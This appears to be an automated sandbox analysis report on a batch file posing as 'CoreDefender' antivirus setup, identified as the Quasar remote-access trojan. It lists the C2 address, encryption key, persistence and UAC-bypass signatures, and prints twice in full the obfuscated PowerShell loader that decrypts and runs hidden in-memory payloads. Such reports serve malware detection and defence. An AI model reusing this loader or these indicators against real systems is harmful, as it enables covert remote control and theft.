Analysis

  • max time kernel
    298s
  • max time network
    301s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    24/05/2026, 02:50

General

  • Target
    CoreDefender_Antivirus_Setup.bat
  • Size 5.1MB
  • Sample260524-dbr39saz3v
  • SHA256 483bcf047c15e51fe1c167604b5ae8a822b8fee310ff8fd3c5c95ddfb805b2f1
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • quasar

Version
  • 1.6.6

Botnet
  • RtkAudioService

C2
  • 13.233.224.203:3001

Mutex
  • 5f0fa0a2-b9a3-49be-8ab2-3b125e3c4ec3

Attributes
  • encryption_key

    2FCC00E69AAE4F8C1204EDB127CA14A8751F73F7

  • install_name

    .exe

  • key_salt

    5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382

  • reconnect_delay

    3000

Signatures

  • Family: Customer Loader

    Customer Loader is a downloader written in C#.

  • Family: Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • UAC bypass 3 TTPs 2 IoCs
  • Badlisted process makes network request 9 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Drops startup file 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\CoreDefender_Antivirus_Setup.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4784
    • C:\Windows\system32\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\CoreDefender_Antivirus_Setup.bat" s"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:876
      • C:\Windows\system32\fltMC.exe
        fltMC
        3⤵
          PID:5712
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w 1 -ep bypass -c "$iduriU = 'Sys' + 'tem';;$qIGyyG = $iduriU + '.Se' + 'cur' + 'ity.Cry' + 'pt' + 'ogr' + 'aphy';;$txAxDC = $iduriU + '.I' + 'O';;$hKtIkG = $iduriU + '.Re' + 'fle' + 'cti' + 'on';;$mSMFL = 'Fr' + 'omB' + 'ase' + '64S' + 'tri' + 'ng';;$zSXxi = 'Cr' + 'eat' + 'eDe' + 'cry' + 'ptor';;$UPULZ = 'Tr' + 'ans' + 'for' + 'mFi' + 'nal' + 'Blo' + 'ck';;function hetEBzMx($axSnfa) {; $jPBTVu=New-Object ($qIGyyG + '.Ae' + 'sMa' + 'nag' + 'ed');; $jPBTVu.Mode=[int]1;; $jPBTVu.Padding=[int]2;; $jPBTVu.Key=[Convert]::$mSMFL('CujRiq4yXZP7iPADbhyYmZn4uzNs1g6dyfjvT/liuBc=');; $jPBTVu.IV=[Convert]::$mSMFL('1NDmZpwB0a2+jVGNxzrKlw==');; $IqlHW=$jPBTVu.$zSXxi();; $dPIOH=$IqlHW.$UPULZ($axSnfa, 0, $axSnfa.Length);; $IqlHW.Dispose();; $jPBTVu.Dispose();; $dPIOH;;};function SBXDljXt($axSnfa) {; $tLMoaH=New-Object ($txAxDC + '.Me' + 'mo' + 'ryS' + 'tre' + 'am')(,$axSnfa);; $iWBnzg=New-Object ($txAxDC + '.Me' + 'mo' + 'ryS' + 'tre' + 'am');; $hctkMm=$txAxDC + '.Co' + 'mpr' + 'ess' + 'ion';; $fnNoLE=[type]($hctkMm + '.Com' + 'pre' + 'ssion' + 'Mo' + 'de');; $nySljf=[Enum]::ToObject($fnNoLE, 0);; $NRKpx=New-Object ($hctkMm + '.GZ' + 'ipS' + 'tre' + 'am')($tLMoaH, $nySljf);; $NRKpx.CopyTo($iWBnzg);; $NRKpx.Dispose();; $tLMoaH.Dispose();; $iWBnzg.Dispose();; $iWBnzg.ToArray();;};function BywTimqv($axSnfa,$dHUdeK) {; $Scizm='En' + 'try' + 'Po' + 'int';; $INUvD='Lo' + 'ad';; $MskaN='In' + 'vo' + 'ke';; $tSwqg=[type]($hKtIkG + '.As' + 'se' + 'mb' + 'ly');; $AoFkCg=$tSwqg::$INUvD([byte[]]$axSnfa);; $BMAWQG=$AoFkCg.$Scizm;; $BMAWQG.$MskaN($null, $dHUdeK);;};function xKwwwryi($PqEpw) {; $HnJJPh = New-Object byte[] ($PqEpw.Length / 2);; for ($VSTAS = 0; $VSTAS -lt $PqEpw.Length; $VSTAS += 2) {; $HnJJPh[$VSTAS / 2] = [Convert]::ToByte($PqEpw.Substring($VSTAS, 2), 16);; }; $HnJJPh;;};$WKlrt = 'wuGsHB';;$XdYOZ = 'rem ' + $WKlrt;;$eBYQtS = $env:hsoTrycb;;$hQArA=[type]($txAxDC + '.Fi' + 'le');;$VVyBr='Re'+'adA'+'llL'+'ine'+'s';;$TdEJgZZ=$hQArA::$VVyBr($eBYQtS);;$SpJSxkG = '';;$xQNVmTy = '';;$Mkyisb = $XdYOZ.Length;;foreach ($lQTyb in $TdEJgZZ) {; if ($lQTyb.Length -gt ($Mkyisb + 1)) {; if ($lQTyb.Substring(0, $Mkyisb) -eq $XdYOZ) {; $qQeGIM = $lQTyb.Substring($Mkyisb);; if ($qQeGIM[0] -eq 'b') { $SpJSxkG += $qQeGIM.Substring(1) }; if ($qQeGIM[0] -eq 's') { $xQNVmTy += $qQeGIM.Substring(1) }; }; };};$lLmQUa=SBXDljXt (hetEBzMx (xKwwwryi $SpJSxkG));;$rSZcvr=SBXDljXt (hetEBzMx (xKwwwryi $xQNVmTy));;BywTimqv $lLmQUa $null;;BywTimqv $rSZcvr (,[string[]] @());"
          3⤵
          • UAC bypass
          • Badlisted process makes network request
          • Drops startup file
          • Adds Run key to start application
          • Suspicious behavior: AddClipboardFormatListener
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of AdjustPrivilegeToken
          PID:5936
    • C:\Windows\System32\wscript.exe
      C:\Windows\System32\wscript.exe
      1⤵
        PID:1472
      • C:\Windows\system32\wscript.exe
        "C:\Windows\system32\wscript.exe" //B //nologo "C:\Users\Admin\AppData\Roaming\OEZWEmMB.vbs"
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:3104
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\OEZWEmMB.bat" h
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:784
          • C:\Windows\system32\cmd.exe
            cmd /c ""C:\Users\Admin\AppData\Roaming\OEZWEmMB.bat" s"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4868
            • C:\Windows\system32\fltMC.exe
              fltMC
              4⤵
                PID:2752
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w 1 -ep bypass -c "$iduriU = 'Sys' + 'tem';;$qIGyyG = $iduriU + '.Se' + 'cur' + 'ity.Cry' + 'pt' + 'ogr' + 'aphy';;$txAxDC = $iduriU + '.I' + 'O';;$hKtIkG = $iduriU + '.Re' + 'fle' + 'cti' + 'on';;$mSMFL = 'Fr' + 'omB' + 'ase' + '64S' + 'tri' + 'ng';;$zSXxi = 'Cr' + 'eat' + 'eDe' + 'cry' + 'ptor';;$UPULZ = 'Tr' + 'ans' + 'for' + 'mFi' + 'nal' + 'Blo' + 'ck';;function hetEBzMx($axSnfa) {; $jPBTVu=New-Object ($qIGyyG + '.Ae' + 'sMa' + 'nag' + 'ed');; $jPBTVu.Mode=[int]1;; $jPBTVu.Padding=[int]2;; $jPBTVu.Key=[Convert]::$mSMFL('CujRiq4yXZP7iPADbhyYmZn4uzNs1g6dyfjvT/liuBc=');; $jPBTVu.IV=[Convert]::$mSMFL('1NDmZpwB0a2+jVGNxzrKlw==');; $IqlHW=$jPBTVu.$zSXxi();; $dPIOH=$IqlHW.$UPULZ($axSnfa, 0, $axSnfa.Length);; $IqlHW.Dispose();; $jPBTVu.Dispose();; $dPIOH;;};function SBXDljXt($axSnfa) {; $tLMoaH=New-Object ($txAxDC + '.Me' + 'mo' + 'ryS' + 'tre' + 'am')(,$axSnfa);; $iWBnzg=New-Object ($txAxDC + '.Me' + 'mo' + 'ryS' + 'tre' + 'am');; $hctkMm=$txAxDC + '.Co' + 'mpr' + 'ess' + 'ion';; $fnNoLE=[type]($hctkMm + '.Com' + 'pre' + 'ssion' + 'Mo' + 'de');; $nySljf=[Enum]::ToObject($fnNoLE, 0);; $NRKpx=New-Object ($hctkMm + '.GZ' + 'ipS' + 'tre' + 'am')($tLMoaH, $nySljf);; $NRKpx.CopyTo($iWBnzg);; $NRKpx.Dispose();; $tLMoaH.Dispose();; $iWBnzg.Dispose();; $iWBnzg.ToArray();;};function BywTimqv($axSnfa,$dHUdeK) {; $Scizm='En' + 'try' + 'Po' + 'int';; $INUvD='Lo' + 'ad';; $MskaN='In' + 'vo' + 'ke';; $tSwqg=[type]($hKtIkG + '.As' + 'se' + 'mb' + 'ly');; $AoFkCg=$tSwqg::$INUvD([byte[]]$axSnfa);; $BMAWQG=$AoFkCg.$Scizm;; $BMAWQG.$MskaN($null, $dHUdeK);;};function xKwwwryi($PqEpw) {; $HnJJPh = New-Object byte[] ($PqEpw.Length / 2);; for ($VSTAS = 0; $VSTAS -lt $PqEpw.Length; $VSTAS += 2) {; $HnJJPh[$VSTAS / 2] = [Convert]::ToByte($PqEpw.Substring($VSTAS, 2), 16);; }; $HnJJPh;;};$WKlrt = 'wuGsHB';;$XdYOZ = 'rem ' + $WKlrt;;$eBYQtS = $env:hsoTrycb;;$hQArA=[type]($txAxDC + '.Fi' + 'le');;$VVyBr='Re'+'adA'+'llL'+'ine'+'s';;$TdEJgZZ=$hQArA::$VVyBr($eBYQtS);;$SpJSxkG = '';;$xQNVmTy = '';;$Mkyisb = $XdYOZ.Length;;foreach ($lQTyb in $TdEJgZZ) {; if ($lQTyb.Length -gt ($Mkyisb + 1)) {; if ($lQTyb.Substring(0, $Mkyisb) -eq $XdYOZ) {; $qQeGIM = $lQTyb.Substring($Mkyisb);; if ($qQeGIM[0] -eq 'b') { $SpJSxkG += $qQeGIM.Substring(1) }; if ($qQeGIM[0] -eq 's') { $xQNVmTy += $qQeGIM.Substring(1) }; }; };};$lLmQUa=SBXDljXt (hetEBzMx (xKwwwryi $SpJSxkG));;$rSZcvr=SBXDljXt (hetEBzMx (xKwwwryi $xQNVmTy));;BywTimqv $lLmQUa $null;;BywTimqv $rSZcvr (,[string[]] @());"
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:564

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              ModuleAnalysisCache

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
              • Size 61KB
              • SHA256 d1d8fc14707d8778da927acf9be9e9e287fc7660374eac902c10997d10f98d92
              • MD5 SHA1 SHA512 SSDEEP TLSH

              __PSScriptPolicyTest_wjoz40dd.oqc.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wjoz40dd.oqc.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              OEZWEmMB.bat

              • Path C:\Users\Admin\AppData\Roaming\OEZWEmMB.bat
              • Size 5.1MB
              • SHA256 483bcf047c15e51fe1c167604b5ae8a822b8fee310ff8fd3c5c95ddfb805b2f1
              • MD5 SHA1 SHA512 SSDEEP TLSH

              OEZWEmMB.vbs

              • Path C:\Users\Admin\AppData\Roaming\OEZWEmMB.vbs
              • Size 102B
              • SHA256 9b8715e2d63caa4ea512550582d47971f50f181877023fa981c0acaf4453f3f3
              • MD5 SHA1 SHA512 TLSH

              memory/5936-30-0x0000028C0A3E0000-0x0000028C0A3FE000-memory.dmp

              memory/5936-33-0x0000028C2EAF0000-0x0000028C2ECB2000-memory.dmp

              memory/5936-10-0x0000028C22750000-0x0000028C22760000-memory.dmp

              memory/5936-12-0x0000028C0A3B0000-0x0000028C0A3B8000-memory.dmp

              memory/5936-13-0x0000028C2D850000-0x0000028C2DA9A000-memory.dmp

              memory/5936-9-0x0000028C22750000-0x0000028C22760000-memory.dmp

              memory/5936-8-0x0000028C0A4D0000-0x0000028C0A4F2000-memory.dmp

              memory/5936-29-0x0000028C2DBF0000-0x0000028C2DE8C000-memory.dmp

              memory/5936-0-0x0000028C22750000-0x0000028C22760000-memory.dmp

              memory/5936-31-0x0000028C2E460000-0x0000028C2E4B0000-memory.dmp

              memory/5936-32-0x0000028C2E860000-0x0000028C2E912000-memory.dmp

              memory/5936-11-0x0000028C22750000-0x0000028C22760000-memory.dmp

              memory/5936-34-0x0000028C2DED0000-0x0000028C2DF0A000-memory.dmp

              memory/5936-37-0x0000028C2E500000-0x0000028C2E526000-memory.dmp

              memory/5936-36-0x0000028C2E4B0000-0x0000028C2E4FE000-memory.dmp

              memory/5936-35-0x0000028C2E410000-0x0000028C2E45A000-memory.dmp

              memory/5936-38-0x0000028C2E530000-0x0000028C2E564000-memory.dmp

              memory/5936-40-0x0000028C2E920000-0x0000028C2E96A000-memory.dmp

              memory/5936-41-0x0000028C2E5C0000-0x0000028C2E5EA000-memory.dmp

              memory/5936-39-0x0000028C2E570000-0x0000028C2E5BC000-memory.dmp

              memory/5936-1-0x0000028C22750000-0x0000028C22760000-memory.dmp